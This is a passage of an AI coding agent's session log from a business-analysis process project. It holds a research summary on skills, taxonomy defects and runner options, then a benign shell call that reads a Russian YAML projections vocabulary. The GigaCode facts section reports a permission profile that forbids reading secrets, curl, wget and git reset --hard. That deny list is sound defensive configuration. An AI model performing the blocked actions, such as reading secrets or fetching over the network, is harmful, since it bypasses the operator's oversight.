is a commitment.\\n  - Route rules are checked by machine, and stopping mid-route is normal.\\n  - Its verdict was \\\"a YAML file, no engine needed\\\". #639 later challenged this because nothing executes the route.\\n- **solution-modeling**\\n  - The core model is an object, not a stage, and in practice it is missing (2/57 runs).\\n  - Readability for every audience comes first; there are 12 model classes. Mango covers 6/12 classes and 4/9 invariants.\\n  - Tools to build or buy: StrictDoc, Doorstop, Sphinx-Needs, ReqIF.\\n- **artifact-micro-structure**\\n  - 17 documents have 17 skeletons, so headings must be separated from meaning.\\n  - UI and acceptance criteria are folded into functional requirements.\\n  - One artifact is shown in 3 views (business, approval, developer). The synthetic Golden Set is mandatory and part of the machine check.\\n- **artifact-rendering**\\n  - Rendering is assembly, not writing; no new meaning may appear at this stage.\\n  - Three render modes (deterministic, generative, hybrid), which differ in what can be proven.\\n  - A fully deterministic render may be impossible for a TZ.\\n- **feedback-and-evolution**\\n  - Without feedback the pipeline cannot learn: 100% of runs deliver documents, but only 8.8% say how they were measured. There are 71 metric keys.\\n  - The first task is a closure-record schema.\\n  - Keep execution, decision and process quality separate.\\n\\n## 4. GigaCode, skill granularity, taxonomy defects\\n\\n**GigaCode (`research/ba-requirements/2026-09-10-gigacode-environment-facts.md`, facts GC-1 to GC-28)**\\n- All 11 vendor documentation pages were reachable (HTTP 200).\\n- Skills live in `.agents/skills//SKILL.md`; only name and description are required, and they load in stages.\\n- Agents are defined in `.opencode/agent/*.md`, with modes and permissions.\\n- The profile forbids reading secrets, editing `.git`, curl, wget and `git reset --hard`. There are 42 MCP tools.\\n- Vendor stance: \\\"\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043f\u043e\u043a\u0430\u0437\u0430\u043d\u0430, \u0430 \u043d\u0435 \u0437\u0430\u044f\u0432\u043b\u0435\u043d\u0430\\\" (a check must be shown, not claimed).\\n- Scope rule: a short rule belongs in AGENTS.md; anything needing its own permissions or isolated context should be an agent.\\n- The owner's \\\"1M-token hard limit\\\" is not in the documentation (verification is B-162). How a human gate would work is also undocumented.\\n\\n**Skill granularity (`research/ba-requirements/2026-09-10-skill-granularity-format-facts.md`)**\\n- GigaCode sets no limit on how big a skill can be.\\n- Control returns to the analyst in 10/10 step-by-step prompts and 0/14 others, a perfect split.\\n- All 9/9 one-shot prompts contain an internal algorithm, so \\\"one-shot = atomic\\\" is refuted.\\n- None of 33 skills is a single operation; each uses 2\u20137.\\n- 21 of 31 operations are reused by 3 or more skills. check-schema leads with 11.\\n\\n**Taxonomy defects (`research/ba-requirements/2026-09-10-process-taxonomy-defects-facts.md`, D1\u2013D8)**\\n- D1: FR and TZ are merged in 29 places, though the ontology has two separate types (A18, and A19 per GOST 34.602-2020).\\n- D2: \\\"draft\\\" is used as a process boundary, although it is a lifecycle state.\\n- D3: 7 of 13 operations have more than one output class.\\n- D4: 8 of 13 operation definitions list mixed results.\\n- D5: Mango has 6 subprocesses; the hub has none.\\n- D6: the System, User and Subprocess entities are missing.\\n- D7: 66/67 runs fall outside the dictionary.\\n- **Discrepancy:** `research/ba-requirements/README.md` describes D3 and D4 differently from the facts file. Cite the facts file, not the README.\\n\\n## 5. Branch issue-639 vs main\\n\\n- Branch `issue-639-405767e7672e` (tip 836faaf) was merged via PR #643 (d718616) and has no commits beyond main. `research/ba-requirements` is identical on both.\\n- **Files the branch added (now on main):**\\n  - `projects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md` (508 lines)\\n  - `projects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md` (hypotheses \u0413-01 to \u0413-25)\\n  - `projects/ba-ai-process/experiments/issue_639_runner_probes.py` and `.log` (probes P10\u2013P12)\\n  - `projects/ba-ai-process/experiments/issue_639_gap_probes.sh` and `.log`\\n  - `ops/backlog.md`: B-203 to B-210 and B-211 to B-218\\n- **Main verdict:** the direction (source \u2192 distribution \u2192 runtime \u2192 feedback, per ADR-017) is right, but nothing executes the route: the meta-model's 11 entities include no executor (\u0413-26). That executor doesn't need to be bought; it can be built out of the existing GigaCode runner.\\n- **What the probes found in the current runner:**\\n  - It ignores all 17 route conditions in the YAML and re-codes the branches in Python for 8 nodes (\u0413-28).\\n  - It accepts junk output (\u0413-29/30).\\n  - A halt cannot be resumed (\u0413-31).\\n  - One mistyped transition blocks the task permanently (\u0413-32).\\n  - It allows 0 corrective attempts where the spec allows 1 (\u0413-33).\\n- **Clients can't guarantee step order either:** chat clients, MCP and hooks all leave the order to the model (\u0413-37 to \u0413-39). Clients are also unstable, e.g. Roo Code was archived and Cline v4 renamed its tools (\u0413-41).\\n- **Recommendations:**\\n  - First, the runner leads the route on the analyst's workstation (option \u0412-1).\\n  - Then the same runner on a server with FastAPI, a state machine and Postgres, optionally LangGraph (\u0412-3/\u0412-4).\\n  - n8n only as an outer shell, never the core. It has a critical vulnerability (CVE-2026-21858, CVSS 10.0), the graph would have to be redrawn in it, its AI Agent node is non-deterministic, and the Business tier costs \u20ac667/month.\\n  - Rejected as the core: Dify, Flowise, Windmill, Kestra, Prefect, Camunda, Operaton, Temporal.\\n- **Readiness:** the runner is ready for debugging transitions but not for pilot measurements until fixes B-211 to B-213 land. All of B-211 to B-218 are TODO, with priority left for a human to set.\\n\\nA separate helper I started earlier to analyse the mango_ba_prompts history was still running when I finished. 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53,\n[2026-09-29T07:50:18.252Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:50:18.252Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:50:18.252Z] [INFO]   \"uuid\": \"759fd9ab-5038-4069-ae23-bf271ccf0f48\"\n[2026-09-29T07:50:18.252Z] [INFO] }\n[2026-09-29T07:50:18.255Z] [INFO] {\n[2026-09-29T07:50:18.255Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:50:18.255Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:50:18.255Z] [INFO]   \"estimated_tokens\": 54,\n[2026-09-29T07:50:18.255Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:50:18.255Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:50:18.255Z] [INFO]   \"uuid\": \"a9186d7a-f67c-41e3-b4b0-6af219153470\"\n[2026-09-29T07:50:18.255Z] [INFO] }\n[2026-09-29T07:50:18.259Z] [INFO] {\n[2026-09-29T07:50:18.259Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:50:18.259Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:50:18.259Z] [INFO]   \"estimated_tokens\": 198,\n[2026-09-29T07:50:18.259Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:50:18.259Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:50:18.259Z] [INFO]   \"uuid\": \"b89500d0-b05e-4a66-b718-7b8871702f8f\"\n[2026-09-29T07:50:18.259Z] [INFO] }\n[2026-09-29T07:50:18.266Z] [INFO] {\n[2026-09-29T07:50:18.266Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:50:18.266Z] [INFO]   \"message\": {\n[2026-09-29T07:50:18.266Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:50:18.266Z] [INFO]     \"id\": \"msg_011CfXN7yVLx3QXdtvTVXwBH\",\n[2026-09-29T07:50:18.266Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:50:18.266Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:50:18.266Z] [INFO]     \"content\": [\n[2026-09-29T07:50:18.266Z] [INFO]       {\n[2026-09-29T07:50:18.266Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T07:50:18.266Z] [INFO]         \"thinking\": \"The facts check out except for the product-taxonomy count and the forensics quote, which need corrected wording\u2014I'll fix both and add the timeline from the completed `mango_ba_prompts` analysis.\\n\\n\",\n[2026-09-29T07:50:18.266Z] [INFO]         \"signature\": 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[INFO]       }\n[2026-09-29T07:50:18.266Z] [INFO]     ],\n[2026-09-29T07:50:18.266Z] [INFO]     \"container\": null,\n[2026-09-29T07:50:18.266Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:50:18.266Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:50:18.266Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:50:18.266Z] [INFO]     \"usage\": {\n[2026-09-29T07:50:18.266Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:50:18.266Z] [INFO]       \"cache_creation_input_tokens\": 522,\n[2026-09-29T07:50:18.266Z] [INFO]       \"cache_read_input_tokens\": 83387,\n[2026-09-29T07:50:18.266Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:50:18.266Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:50:18.266Z] [INFO]         \"ephemeral_1h_input_tokens\": 522\n[2026-09-29T07:50:18.266Z] [INFO]       },\n[2026-09-29T07:50:18.266Z] [INFO]       \"output_tokens\": 7,\n[2026-09-29T07:50:18.266Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:50:18.266Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:50:18.266Z] [INFO]     },\n[2026-09-29T07:50:18.266Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:50:18.266Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:50:18.266Z] [INFO]     \"context_management\": null\n[2026-09-29T07:50:18.266Z] [INFO]   },\n[2026-09-29T07:50:18.266Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:50:18.266Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:50:18.266Z] [INFO]   \"uuid\": \"925b860a-2fbf-45ab-8cf8-6497964a22c8\",\n[2026-09-29T07:50:18.266Z] [INFO]   \"timestamp\": \"2026-09-29T07:50:18.159Z\",\n[2026-09-29T07:50:18.266Z] [INFO]   \"request_id\": \"req_011CfXN7y4Z5Urs3bfoDbuSa\",\n[2026-09-29T07:50:18.266Z] [INFO]   \"narration_block_indexes\": [\n[2026-09-29T07:50:18.266Z] [INFO]     0\n[2026-09-29T07:50:18.266Z] [INFO]   ]\n[2026-09-29T07:50:18.266Z] [INFO] }\n[2026-09-29T07:50:18.643Z] [INFO] {\n[2026-09-29T07:50:18.643Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:50:18.643Z] [INFO]   \"message\": {\n[2026-09-29T07:50:18.643Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:50:18.643Z] [INFO]     \"id\": \"msg_011CfXN7yVLx3QXdtvTVXwBH\",\n[2026-09-29T07:50:18.643Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:50:18.643Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:50:18.643Z] [INFO]     \"content\": [\n[2026-09-29T07:50:18.643Z] [INFO]       {\n[2026-09-29T07:50:18.643Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:50:18.643Z] [INFO]         \"id\": \"toolu_01Ahg6syNiQgg7PSagonHoZk\",\n[2026-09-29T07:50:18.643Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T07:50:18.643Z] [INFO]         \"input\": {\n[2026-09-29T07:50:18.643Z] [INFO]           \"command\": \"cd /tmp/gh-issue-solver-1790667776920/projects/ba-ai-process; head -40 dist/execution-package-gigacode-cli/taxonomy/projections.yaml; grep -rn \\\"V-DEV\\\\|V-CONTRACT\\\" dist/execution-package-gigacode-cli/templates/bcreq-skeleton.md dist/execution-package-gigacode-cli/package-manifest.yaml | head -5 | cut -c1-250\",\n[2026-09-29T07:50:18.643Z] [INFO]           \"description\": \"Check projections implementation state\"\n[2026-09-29T07:50:18.643Z] [INFO]         },\n[2026-09-29T07:50:18.643Z] [INFO]         \"caller\": {\n[2026-09-29T07:50:18.643Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:50:18.643Z] [INFO]         }\n[2026-09-29T07:50:18.643Z] [INFO]       }\n[2026-09-29T07:50:18.643Z] [INFO]     ],\n[2026-09-29T07:50:18.643Z] [INFO]     \"container\": null,\n[2026-09-29T07:50:18.643Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:50:18.643Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:50:18.643Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:50:18.643Z] [INFO]     \"usage\": {\n[2026-09-29T07:50:18.643Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:50:18.643Z] [INFO]       \"cache_creation_input_tokens\": 522,\n[2026-09-29T07:50:18.643Z] [INFO]       \"cache_read_input_tokens\": 83387,\n[2026-09-29T07:50:18.643Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:50:18.643Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:50:18.643Z] [INFO]         \"ephemeral_1h_input_tokens\": 522\n[2026-09-29T07:50:18.643Z] [INFO]       },\n[2026-09-29T07:50:18.643Z] [INFO]       \"output_tokens\": 7,\n[2026-09-29T07:50:18.643Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:50:18.643Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:50:18.643Z] [INFO]     },\n[2026-09-29T07:50:18.643Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:50:18.643Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:50:18.643Z] [INFO]     \"context_management\": null\n[2026-09-29T07:50:18.643Z] [INFO]   },\n[2026-09-29T07:50:18.643Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:50:18.643Z] [INFO]   \"session_id\": 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[INFO]         \"utilization\": 0.77,\n[2026-09-29T07:50:18.675Z] [INFO]         \"resetsAt\": 1790679600\n[2026-09-29T07:50:18.675Z] [INFO]       }\n[2026-09-29T07:50:18.675Z] [INFO]     }\n[2026-09-29T07:50:18.675Z] [INFO]   },\n[2026-09-29T07:50:18.675Z] [INFO]   \"uuid\": \"20898dbf-be0d-44ba-9e5e-1b7753fb0532\",\n[2026-09-29T07:50:18.675Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T07:50:18.675Z] [INFO] }\n[2026-09-29T07:50:20.086Z] [INFO] {\n[2026-09-29T07:50:20.086Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:50:20.086Z] [INFO]   \"message\": {\n[2026-09-29T07:50:20.086Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:50:20.086Z] [INFO]     \"content\": [\n[2026-09-29T07:50:20.086Z] [INFO]       {\n[2026-09-29T07:50:20.086Z] [INFO]         \"tool_use_id\": \"toolu_01Ahg6syNiQgg7PSagonHoZk\",\n[2026-09-29T07:50:20.086Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:50:20.086Z] [INFO]         \"content\": \"# \u0417\u0430\u043a\u0440\u044b\u0442\u044b\u0439 \u0441\u043b\u043e\u0432\u0430\u0440\u044c \u043f\u0440\u043e\u0435\u043a\u0446\u0438\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 A-BCREQ. \u041f\u0440\u043e\u0435\u043a\u0446\u0438\u044f \u2014 \u0447\u0442\u0435\u043d\u0438\u0435 \u043e\u0434\u043d\u043e\u0433\u043e \u0438 \u0442\u043e\u0433\u043e\\n# \u0436\u0435 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430, \u0430 \u043d\u0435 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442: \u0441\u043a\u0435\u043b\u0435\u0442 \u0438\u0437 14 \u0441\u043b\u043e\u0442\u043e\u0432 \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442\\n# \u0432\u0441\u0435\u0433\u0434\u0430, \u043f\u0440\u043e\u0435\u043a\u0446\u0438\u044f \u0437\u0430\u0434\u0430\u0451\u0442, \u043a\u0430\u043a\u0438\u0435 \u0441\u043b\u043e\u0442\u044b \u043e\u0431\u044f\u0437\u0430\u043d\u044b \u0431\u044b\u0442\u044c \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u044b \u0434\u043b\u044f \u0430\u0434\u0440\u0435\u0441\u0430\u0442\u0430 \u0438\\n# \u043a\u0430\u043a\u0430\u044f \u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u043a\u0430 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u0434\u043b\u044f \u043d\u0435\u0433\u043e \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u0430.\\n#\\n# \u0414\u043e \u0432\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u044d\u0442\u043e\u0433\u043e \u0441\u043b\u043e\u0432\u0430\u0440\u044f \u043f\u043e\u043b\u0435 `projection` \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043e\u0432\u0430\u043b\u043e \u0432 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0435 \u0432\u044b\u0445\u043e\u0434\u0430,\\n# \u043d\u043e \u043d\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043b\u043e\u0441\u044c \u043d\u0438 \u043e\u0434\u043d\u0438\u043c \u043d\u0430\u0432\u044b\u043a\u043e\u043c \u0438 \u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u043b\u043e\u0441\u044c: \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u0430\u044f \u0432\u0435\u0442\u043a\u0430 \u043d\u0438\\n# \u0440\u0430\u0437\u0443 \u043d\u0435 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u043b\u0430\u0441\u044c. \u0421\u043b\u043e\u0432\u0430\u0440\u044c \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u044d\u0442\u0443 \u043f\u0443\u0441\u0442\u0443\u044e \u0432\u0435\u0442\u043a\u0443.\\nvocabulary: projections\\nclosed: true\\nversion: \\\"1.0\\\"\\nrule: >-\\n  \u041f\u0440\u043e\u0435\u043a\u0446\u0438\u0438 \u043d\u0435 \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u043c\u0438 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430\u043c\u0438 (R-5). \u0421\u043e\u0441\u0442\u0430\u0432 \u0441\u043b\u043e\u0442\u043e\u0432 \u043d\u0435 \u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f\\n  \u043d\u0438 \u0432 \u043e\u0434\u043d\u043e\u0439 \u043f\u0440\u043e\u0435\u043a\u0446\u0438\u0438; \u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u044f \u0438 \u0442\u0440\u0435\u0431\u0443\u0435\u043c\u0430\u044f\\n  \u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u043a\u0430. \u0414\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u0435\u0442 \u0440\u043e\u0432\u043d\u043e \u043e\u0434\u043d\u0443 \u043f\u0440\u043e\u0435\u043a\u0446\u0438\u044e: \u0434\u0432\u0430 \u0430\u0434\u0440\u0435\u0441\u0430\u0442\u0430 \u0432 \u043e\u0434\u043d\u043e\u043c\\n  \u0447\u0442\u0435\u043d\u0438\u0438 \u2014 \u0434\u0435\u0444\u0435\u043a\u0442, \u043d\u0435\u043e\u0442\u043b\u0438\u0447\u0438\u043c\u044b\u0439 \u043e\u0442 F-MIXED.\\n\\nitems:\\n  - id: V-BIZ\\n    name: \u0427\u0442\u0435\u043d\u0438\u0435 \u0434\u043b\u044f \u0431\u0438\u0437\u043d\u0435\u0441\u0430\\n    addressee: \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0438 \u0432\u043b\u0430\u0434\u0435\u043b\u0435\u0446 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\\n    question: \\\"\u0437\u0430\u0447\u0435\u043c \u044d\u0442\u043e \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435 \u0438 \u0447\u0442\u043e \u043c\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u043c\\\"\\n    required_slots: [S-GLOSSARY, S-PROBLEM, S-SCOPE, S-SOLUTION, S-LIMITS, S-OPEN]\\n    wording_rule: >-\\n      \u044f\u0437\u044b\u043a \u043f\u0440\u0435\u0434\u043c\u0435\u0442\u043d\u043e\u0439 \u043e\u0431\u043b\u0430\u0441\u0442\u0438 \u0431\u0435\u0437 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0445 \u0442\u0435\u0440\u043c\u0438\u043d\u043e\u0432; \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u0434\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u0442\u0441\u044f \u0432\\n      \u0444\u043e\u0440\u043c\u0435 \u0446\u0435\u043b\u0438, \u0430 \u043d\u0435 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u0441\u0438\u0441\u0442\u0435\u043c\u044b\\n    default_format_class: F-SHORT\\n\\n  - id: V-APPROVE\\n    name: \u0427\u0442\u0435\u043d\u0438\u0435 \u0434\u043b\u044f \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u044f\\n    addressee: \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a, \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u044e\u0449\u0438\u0439 \u0440\u0435\u0448\u0435\u043d\u0438\u0435\\n    question: \\\"\u0447\u0442\u043e \u0438\u043c\u0435\u043d\u043d\u043e \u044f \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u044e\\\"\\n    # \u0420\u0430\u0437\u0434\u0435\u043b\u044b 1\u20136 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430: \u0433\u043b\u043e\u0441\u0441\u0430\u0440\u0438\u0439, \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430, \u0434\u0435\u043b\u044c\u0442\u0430, \u0440\u0435\u0448\u0435\u043d\u0438\u0435,\\n    # \u0432\u0435\u0440\u0445\u043d\u0435\u0443\u0440\u043e\u0432\u043d\u0435\u0432\u044b\u0435 \u0424\u0422 \u0438 \u0442\u043e, \u043a\u0430\u043a \u044d\u0442\u043e \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u0434\u043b\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f.\\n    required_slots: [S-GLOSSARY, S-PROBLEM, S-SCOPE, S-SOLUTION, S-FR, S-SETTINGS, S-UI, S-SCENARIO, S-NFR, S-LIMITS, S-OPEN]\\n    key_slots: [S-FR, S-SCENARIO, S-UI]\\n    wording_rule: >-\\n      S-FR \u043d\u0435\u0441\u0451\u0442 \u0432\u0435\u0440\u0445\u043d\u0435\u0443\u0440\u043e\u0432\u043d\u0435\u0432\u044b\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u044b\u0435 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u0441 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u043e\u043c\\n      \u0424\u0422-NN \u2014 \u043a\u043b\u0430\u0441\u0441\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u00ab\u0447\u0442\u043e \u0441\u0438\u0441\u0442\u0435\u043c\u0430 \u0434\u043e\u043b\u0436\u043d\u0430 \u0434\u0435\u043b\u0430\u0442\u044c\u00bb. S-SCENARIO \u0438 S-UI\\n      \u043e\u0442\u0432\u0435\u0447\u0430\u044e\u0442 \u043d\u0430 \u00ab\u043a\u0430\u043a \u044d\u0442\u043e \u0431\u0443\u0434\u0435\u0442 \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u0442\u044c\u00bb \u043d\u0430 \u044f\u0437\u044b\u043a\u0435 \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0430: \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0438\\ndist/execution-package-gigacode-cli/templates/bcreq-skeleton.md:72:| `V-DEV` | \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a, \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u043e\u0440, \u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0449\u0438\u043a | \u0447\u0435\u043c \u0438 \u0441 \u043a\u0430\u043a\u0438\u043c\u0438 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f\u043c\u0438 \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u0442\u044c: `S-AC`, `S-TRACE`, `S-INTEGRA\\ndist/execution-package-gigacode-cli/templates/bcreq-skeleton.md:73:| `V-CONTRACT` | \u0441\u0442\u043e\u0440\u043e\u043d\u0430 \u0434\u043e\u0433\u043e\u0432\u043e\u0440\u0430 | \u0434\u043e\u0433\u043e\u0432\u043e\u0440\u043d\u044b\u0435 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430: `S-FR` \u0432 \u0444\u043e\u0440\u043c\u0435 \u00ab\u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0442\u044c \u0412\u041e\u0417\u041c\u041e\u0416\u041d\u041e\u0421\u0422\u042c\u00bb, `S-AC` \\ndist/execution-package-gigacode-cli/templates/bcreq-skeleton.md:84:  \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u0435 `V-DEV`.\\ndist/execution-package-gigacode-cli/templates/bcreq-skeleton.md:91:### \u0420\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u0435 `V-DEV`\\ndist/execution-package-gigacode-cli/templates/bcreq-skeleton.md:100:### \u0420\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u0435 `V-CONTRACT`\",\n[2026-09-29T07:50:20.086Z] [INFO]         \"is_error\": false\n[2026-09-29T07:50:20.086Z] [INFO]       }\n[2026-09-29T07:50:20.086Z] [INFO]     ]\n[2026-09-29T07:50:20.086Z] [INFO]   },\n[2026-09-29T07:50:20.086Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:50:20.086Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:50:20.086Z] [INFO]   \"uuid\": \"70b0f1a3-bf03-44b8-bfc2-33a9197150f6\",\n[2026-09-29T07:50:20.086Z] [INFO]   \"timestamp\": \"2026-09-29T07:50:20.081Z\",\n[2026-09-29T07:50:20.086Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T07:50:20.086Z] [INFO]     \"stdout\": \"# \u0417\u0430\u043a\u0440\u044b\u0442\u044b\u0439 \u0441\u043b\u043e\u0432\u0430\u0440\u044c \u043f\u0440\u043e\u0435\u043a\u0446\u0438\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 A-BCREQ. \u041f\u0440\u043e\u0435\u043a\u0446\u0438\u044f \u2014 \u0447\u0442\u0435\u043d\u0438\u0435 \u043e\u0434\u043d\u043e\u0433\u043e \u0438 \u0442\u043e\u0433\u043e\\n# \u0436\u0435 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430, \u0430 \u043d\u0435 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442: \u0441\u043a\u0435\u043b\u0435\u0442 \u0438\u0437 14 \u0441\u043b\u043e\u0442\u043e\u0432 \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442\\n# \u0432\u0441\u0435\u0433\u0434\u0430, \u043f\u0440\u043e\u0435\u043a\u0446\u0438\u044f \u0437\u0430\u0434\u0430\u0451\u0442, \u043a\u0430\u043a\u0438\u0435 \u0441\u043b\u043e\u0442\u044b \u043e\u0431\u044f\u0437\u0430\u043d\u044b \u0431\u044b\u0442\u044c \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u044b \u0434\u043b\u044f \u0430\u0434\u0440\u0435\u0441\u0430\u0442\u0430 \u0438\\n# \u043a\u0430\u043a\u0430\u044f \u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u043a\u0430 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u0434\u043b\u044f \u043d\u0435\u0433\u043e \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u0430.\\n#\\n# \u0414\u043e \u0432\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u044d\u0442\u043e\u0433\u043e \u0441\u043b\u043e\u0432\u0430\u0440\u044f \u043f\u043e\u043b\u0435 `projection` \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043e\u0432\u0430\u043b\u043e \u0432 